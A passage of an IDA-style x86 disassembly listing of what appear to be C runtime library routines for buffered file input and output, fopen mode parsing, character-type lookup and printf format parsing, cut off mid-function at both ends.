cmp ebx, [ebp+arg_0]
jnb short loc_41EF7B
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_41EF84
; ---------------------------------------------------------------------------
loc_41EF7B: ; CODE XREF: sub_41EE76+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_41EF84: ; CODE XREF: sub_41EE76+103j
mov [esi], dl
lea eax, [esi+8]
loc_41EF89: ; CODE XREF: sub_41EE76+40j
; sub_41EE76+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_41EF95
; ---------------------------------------------------------------------------
loc_41EF93: ; CODE XREF: sub_41EE76+7Ej
; sub_41EE76+9Dj ...
xor eax, eax
loc_41EF95: ; CODE XREF: sub_41EE76+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_41EE76 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_41EFD4
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_41F034
; ---------------------------------------------------------------------------
loc_41EFD4: ; CODE XREF: sub_41EF9A+26j
jnb short loc_41F03B
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_41F03B
lea eax, [ecx+edx]
loc_41EFE9: ; CODE XREF: sub_41EF9A+59j
cmp eax, esi
jnb short loc_41EFF7
cmp byte ptr [eax], 0
jnz short loc_41EFF5
inc eax
jmp short loc_41EFE9
; ---------------------------------------------------------------------------
loc_41EFF5: ; CODE XREF: sub_41EF9A+56j
cmp eax, esi
loc_41EFF7: ; CODE XREF: sub_41EF9A+51j
jnz short loc_41F03B
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_41F02F
cmp esi, eax
jbe short loc_41F02F
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_41F026
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_41F021
loc_41F01A: ; CODE XREF: sub_41EF9A+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_41F01A
loc_41F021: ; CODE XREF: sub_41EF9A+7Ej
mov [ebx+4], eax
jmp short loc_41F02F
; ---------------------------------------------------------------------------
loc_41F026: ; CODE XREF: sub_41EF9A+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_41F02F: ; CODE XREF: sub_41EF9A+68j
; sub_41EF9A+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_41F034: ; CODE XREF: sub_41EF9A+38j
mov [ebp+var_4], 1
loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j
; sub_41EF9A+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_41EF9A endp
; =============== S U B R O U T I N E =======================================
sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p
; sub_41BB4F+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41F117
test al, 40h
jnz loc_41F117
test al, 2
jz short loc_41F069
or al, 20h
mov [esi+0Ch], eax
jmp loc_41F117
; ---------------------------------------------------------------------------
loc_41F069: ; CODE XREF: sub_41F043+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F07D
push esi
call sub_4239EF
pop ecx
jmp short loc_41F082
; ---------------------------------------------------------------------------
loc_41F07D: ; CODE XREF: sub_41F043+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41F082: ; CODE XREF: sub_41F043+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41F11C
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41F106
cmp eax, 0FFFFFFFFh
jz short loc_41F106
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41F0DB
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41F0C4
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4DCCA0[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41F0C9
; ---------------------------------------------------------------------------
loc_41F0C4: ; CODE XREF: sub_41F043+6Bj
mov edi, offset dword_43D030
loc_41F0C9: ; CODE XREF: sub_41F043+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41F0DB
or dh, 20h
mov [esi+0Ch], edx
loc_41F0DB: ; CODE XREF: sub_41F043+62j
; sub_41F043+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41F0F8
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41F0F8
test ch, 4
jnz short loc_41F0F8
mov dword ptr [esi+18h], 1000h
loc_41F0F8: ; CODE XREF: sub_41F043+9Fj
; sub_41F043+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41F106: ; CODE XREF: sub_41F043+55j
; sub_41F043+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41F117: ; CODE XREF: sub_41F043+Aj
; sub_41F043+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41F043 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F11C proc near ; CODE XREF: sub_41B11A+90p
; sub_41F043+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4DCDA0
jnb loc_41F2F9
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4DCCA0h[eax*4]
mov eax, dword_4DCCA0[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41F2F9
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F1D1
test dl, 2
jnz short loc_41F1D1
test dl, 48h
jz short loc_41F191
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41F191
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41F191: ; CODE XREF: sub_41F11C+56j
; sub_41F11C+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
nop
call near ptr 2700000h
test eax, eax
jnz short loc_41F1E4
call near ptr 2680ABEh
nop
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F1CC
mov dword_4DB958, 9
mov dword_4DB95C, ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1CC: ; CODE XREF: sub_41F11C+99j
cmp eax, 6Dh
jnz short loc_41F1D8
loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj
; sub_41F11C+51j
xor eax, eax
jmp loc_41F30D
; ---------------------------------------------------------------------------
loc_41F1D8: ; CODE XREF: sub_41F11C+B3j
push eax
call sub_4203DF
pop ecx
jmp loc_41F30A
; ---------------------------------------------------------------------------
loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41F2F4
test edx, edx
jz short loc_41F209
cmp byte ptr [edi], 0Ah
jnz short loc_41F209
or al, 4
jmp short loc_41F20B
; ---------------------------------------------------------------------------
loc_41F209: ; CODE XREF: sub_41F11C+E2j
; sub_41F11C+E7j
and al, 0FBh
loc_41F20B: ; CODE XREF: sub_41F11C+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41F2EE
loc_41F223: ; CODE XREF: sub_41F11C+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41F2DE
cmp al, 0Dh
jz short loc_41F23F
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F23F: ; CODE XREF: sub_41F11C+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41F25D
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41F254
add [ebp+arg_8], 2
jmp short loc_41F2B2
; ---------------------------------------------------------------------------
loc_41F254: ; CODE XREF: sub_41F11C+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F25D: ; CODE XREF: sub_41F11C+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call near ptr 2700000h
nop
test eax, eax
jnz short loc_41F285
nop
call near ptr 2680ABEh
test eax, eax
jnz short loc_41F2CC
loc_41F285: ; CODE XREF: sub_41F11C+15Dj
cmp [ebp+var_C], 0
jz short loc_41F2CC
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41F2A7
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41F2B2
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41F2D0
; ---------------------------------------------------------------------------
loc_41F2A7: ; CODE XREF: sub_41F11C+176j
cmp edi, [ebp+arg_4]
jnz short loc_41F2B7
cmp [ebp+var_1], 0Ah
jnz short loc_41F2B7
loc_41F2B2: ; CODE XREF: sub_41F11C+136j
; sub_41F11C+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41F2CF
; ---------------------------------------------------------------------------
loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej
; sub_41F11C+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_42272B
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41F2D0
loc_41F2CC: ; CODE XREF: sub_41F11C+167j
; sub_41F11C+16Dj
mov byte ptr [edi], 0Dh
loc_41F2CF: ; CODE XREF: sub_41F11C+199j
inc edi
loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej
; sub_41F11C+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41F223
jmp short loc_41F2EE
; ---------------------------------------------------------------------------
loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41F2EE
or al, 2
mov [esi], al
loc_41F2EE: ; CODE XREF: sub_41F11C+101j
; sub_41F11C+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41F2F4: ; CODE XREF: sub_41F11C+DAj
mov eax, [ebp+var_8]
jmp short loc_41F30D
; ---------------------------------------------------------------------------
loc_41F2F9: ; CODE XREF: sub_41F11C+12j
; sub_41F11C+39j
and dword_4DB95C, 0
mov dword_4DB958, 9
loc_41F30A: ; CODE XREF: sub_41F11C+ABj
; sub_41F11C+C3j
or eax, 0FFFFFFFFh
loc_41F30D: ; CODE XREF: sub_41F11C+B7j
; sub_41F11C+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41F11C endp
; =============== S U B R O U T I N E =======================================
sub_41F312 proc near ; CODE XREF: sub_41B202+126p
; sub_41B202+24Bp ...
arg_0 = dword ptr 4
mov eax, dword_4DB9D8
test eax, eax
jz short loc_41F32A
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41F32A
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41F32A: ; CODE XREF: sub_41F312+7j
; sub_41F312+12j
xor eax, eax
retn
sub_41F312 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4DBB44
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41F366
cmp al, 72h
jz short loc_41F35F
cmp al, 77h
jnz loc_41F47A
mov ecx, 301h
jmp short loc_41F36B
; ---------------------------------------------------------------------------
loc_41F35F: ; CODE XREF: sub_41F32D+21j
xor ecx, ecx
or esi, 1
jmp short loc_41F36E
; ---------------------------------------------------------------------------
loc_41F366: ; CODE XREF: sub_41F32D+1Dj
mov ecx, 109h
loc_41F36B: ; CODE XREF: sub_41F32D+30j
or esi, 2
loc_41F36E: ; CODE XREF: sub_41F32D+37j
push 1
pop edx
loc_41F371: ; CODE XREF: sub_41F32D+8Bj
; sub_41F32D+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41F460
cmp edx, ebx
jz loc_41F460
movsx eax, al
cmp eax, 54h
jg short loc_41F3FF
jz short loc_41F3EF
sub eax, 2Bh
jz short loc_41F3D9
sub eax, 19h
jz short loc_41F3CF
sub eax, 0Eh
jz short loc_41F3BA
dec eax
jnz loc_41F451
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj
cmp [ebp+var_4], ebx
jnz loc_41F451
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj
test cl, 40h
jnz short loc_41F451
or ecx, 40h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3D9: ; CODE XREF: sub_41F32D+65j
test cl, 2
jnz short loc_41F451
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41F371
; ---------------------------------------------------------------------------
loc_41F3EF: ; CODE XREF: sub_41F32D+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41F451
or ecx, eax
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej
sub eax, 62h
jz short loc_41F44C
dec eax
jz short loc_41F435
sub eax, 0Bh
jz short loc_41F41E
sub eax, 6
jnz short loc_41F451
test ch, 0C0h
jnz short loc_41F451
or ch, 40h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F41E: ; CODE XREF: sub_41F32D+DDj
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F435: ; CODE XREF: sub_41F32D+D8j
cmp [ebp+var_8], ebx
jnz short loc_41F451
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F44C: ; CODE XREF: sub_41F32D+D5j
test ch, 0C0h
jz short loc_41F458
loc_41F451: ; CODE XREF: sub_41F32D+72j
; sub_41F32D+7Bj ...
xor edx, edx
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F458: ; CODE XREF: sub_41F32D+122j
or ch, 80h
jmp loc_41F371
; ---------------------------------------------------------------------------
loc_41F460: ; CODE XREF: sub_41F32D+4Aj
; sub_41F32D+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_423A33
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41F47E
loc_41F47A: ; CODE XREF: sub_41F32D+25j
xor eax, eax
jmp short loc_41F498
; ---------------------------------------------------------------------------
loc_41F47E: ; CODE XREF: sub_41F32D+14Bj
mov eax, [ebp+arg_C]
inc dword_4DBB40
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41F498: ; CODE XREF: sub_41F32D+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41F32D endp
; =============== S U B R O U T I N E =======================================
sub_41F49D proc near ; CODE XREF: sub_41B4A2p
mov edx, dword_4DCC80
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41F50E
mov ebx, dword_4DBC78
mov edi, ebx
loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41F4D4
test byte ptr [ecx+0Ch], 83h
jz short loc_41F4CF
inc eax
add edi, 4
cmp eax, edx
jl short loc_41F4B9
jmp short loc_41F50E
; ---------------------------------------------------------------------------
loc_41F4CF: ; CODE XREF: sub_41F49D+26j
mov esi, [ebx+eax*4]
jmp short loc_41F4F8
; ---------------------------------------------------------------------------
loc_41F4D4: ; CODE XREF: sub_41F49D+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41B4D5
pop ecx
mov ecx, dword_4DBC78
mov [edi+ecx], eax
mov eax, dword_4DBC78
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41F50E
mov esi, edi
loc_41F4F8: ; CODE XREF: sub_41F49D+35j
cmp esi, ebp
jz short loc_41F50E
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41F50E: ; CODE XREF: sub_41F49D+12j
; sub_41F49D+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F49D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p
; sub_41B6EE+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41F533
mov ecx, off_43C9D8
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41F585
; ---------------------------------------------------------------------------
loc_41F533: ; CODE XREF: sub_41F515+10j
mov ecx, eax
push esi
mov esi, off_43C9D8
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41F558
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41F561
; ---------------------------------------------------------------------------
loc_41F558: ; CODE XREF: sub_41F515+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41F561: ; CODE XREF: sub_41F515+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call sub_423CEC
add esp, 1Ch
test eax, eax
jnz short loc_41F581
leave
retn
; ---------------------------------------------------------------------------
loc_41F581: ; CODE XREF: sub_41F515+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41F585: ; CODE XREF: sub_41F515+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41F515 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F58A proc near ; CODE XREF: sub_41B886+46p
; sub_41B980+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41F693
test al, 40h
jnz loc_41F693
test al, 1
jz short loc_41F5C2
and dword ptr [esi+4], 0
test al, 10h
jz loc_41F693
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41F5C2: ; CODE XREF: sub_41F58A+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F5FC
cmp esi, offset dword_43D0E8
jz short loc_41F5EA
cmp esi, offset dword_43D108
jnz short loc_41F5F5
loc_41F5EA: ; CODE XREF: sub_41F58A+56j
push ebx
call sub_423E35
test eax, eax
pop ecx
jnz short loc_41F5FC
loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej
push esi
call sub_4239EF
pop ecx
loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej
; sub_41F58A+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41F669
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41F62C
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41F65F
; ---------------------------------------------------------------------------
loc_41F62C: ; CODE XREF: sub_41F58A+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41F647
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4DCCA0[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41F64C
; ---------------------------------------------------------------------------
loc_41F647: ; CODE XREF: sub_41F58A+A5j
mov eax, offset dword_43D030
loc_41F64C: ; CODE XREF: sub_41F58A+BBj
test byte ptr [eax+4], 20h
jz short loc_41F65F
push 2
push 0
push ebx
call sub_42272B
add esp, 0Ch
loc_41F65F: ; CODE XREF: sub_41F58A+A0j
; sub_41F58A+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41F67D
; ---------------------------------------------------------------------------
loc_41F669: ; CODE XREF: sub_41F58A+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_42291D
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41F67D: ; CODE XREF: sub_41F58A+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41F689
or dword ptr [esi+0Ch], 20h
jmp short loc_41F698
; ---------------------------------------------------------------------------
loc_41F689: ; CODE XREF: sub_41F58A+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41F69B
; ---------------------------------------------------------------------------
loc_41F693: ; CODE XREF: sub_41F58A+10j
; sub_41F58A+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41F698: ; CODE XREF: sub_41F58A+FDj
or eax, 0FFFFFFFFh
loc_41F69B: ; CODE XREF: sub_41F58A+107j
pop esi
pop ebx
pop ebp
retn
sub_41F58A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F69F proc near ; CODE XREF: sub_41B886+29p
; sub_41B980+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41FDB8
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41F6D3
; ---------------------------------------------------------------------------
loc_41F6CB: ; CODE XREF: sub_41F69F+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj
cmp [ebp+var_14], edx
jl loc_41FDB8
cmp bl, 20h
jl short loc_41F6F4
cmp bl, 78h
jg short loc_41F6F4
movsx eax, bl
mov al, [eax+427734h]
and eax, 0Fh
jmp short loc_41F6F6
; ---------------------------------------------------------------------------
loc_41F6F4: ; CODE XREF: sub_41F69F+40j
; sub_41F69F+45j
xor eax, eax
loc_41F6F6: ; CODE XREF: sub_41F69F+53j
movsx eax, byte_427754[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41FDA7 ; default
jmp off_41FDC0[eax*4] ; switch jump
loc_41F714: ; DATA XREF: ___:off_41FDC0o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F72F: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
movsx eax, bl ; jumptable 0041F70D case 2
sub eax, 20h
jz short loc_41F772
sub eax, 3
jz short loc_41F769
sub eax, 8
jz short loc_41F760
dec eax
dec eax
jz short loc_41F757
sub eax, 3
jnz loc_41FDA7 ; default
or [ebp+var_4], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F757: ; CODE XREF: sub_41F69F+A4j
or [ebp+var_4], 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F760: ; CODE XREF: sub_41F69F+A0j
or [ebp+var_4], 1
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F769: ; CODE XREF: sub_41F69F+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F772: ; CODE XREF: sub_41F69F+96j
or [ebp+var_4], 2
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F77B: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 3
jnz short loc_41F7A3
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41FDA7 ; default
or [ebp+var_4], 4
neg eax
loc_41F79B: ; CODE XREF: sub_41F69F+111j
mov [ebp+var_20], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7A3: ; CODE XREF: sub_41F69F+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41F79B
; ---------------------------------------------------------------------------
loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
mov [ebp+var_10], edx ; jumptable 0041F70D case 4
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 2Ah ; jumptable 0041F70D case 5
jnz short loc_41F7DD
lea eax, [ebp+arg_8]
push eax
call sub_41FE7E
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41FDA7 ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej
; DATA XREF: ___:off_41FDC0o
cmp bl, 49h ; jumptable 0041F70D case 6
jz short loc_41F822
cmp bl, 68h
jz short loc_41F819
cmp bl, 6Ch
jz short loc_41F810
cmp bl, 77h
jnz loc_41FDA7 ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F810: ; CODE XREF: sub_41F69F+15Dj
or [ebp+var_4], 10h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F819: ; CODE XREF: sub_41F69F+158j
or [ebp+var_4], 20h
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F822: ; CODE XREF: sub_41F69F+153j
cmp byte ptr [edi], 36h
jnz short loc_41F83B
cmp byte ptr [edi+1], 34h
jnz short loc_41F83B
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41FDA7 ; default
; ---------------------------------------------------------------------------
loc_41F83B: ; CODE XREF: sub_41F69F+186j
; sub_41F69F+18Cj
mov [ebp+var_30], edx
loc_41F83E: ; CODE XREF: sub_41F69F+6Ej
